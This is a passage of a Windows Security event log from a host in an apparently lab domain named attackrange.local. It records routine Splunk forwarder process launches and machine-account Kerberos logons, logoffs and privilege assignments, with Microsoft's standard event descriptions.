Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:08:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256254 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D7538 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:08:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256253 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3D7538 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51369 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:08:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256252 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D7538 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:08:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256255 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3D2E0F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:09:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256256 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:09:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256258 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1214 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:09:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256257 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:09:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256260 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:09:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256259 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:09:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256261 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:09:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256262 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1244 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256265 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3DAA8E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256264 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3DAA8E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51382 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:09:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256263 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3DAA8E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:10:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256266 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa18 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:10:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256268 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:10:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256267 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x113c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:10:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256270 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:10:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256269 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf98 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:10:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256271 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x884 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:10:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256272 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1250 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:10:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256275 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3DDFE1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:10:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256274 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3DDFE1 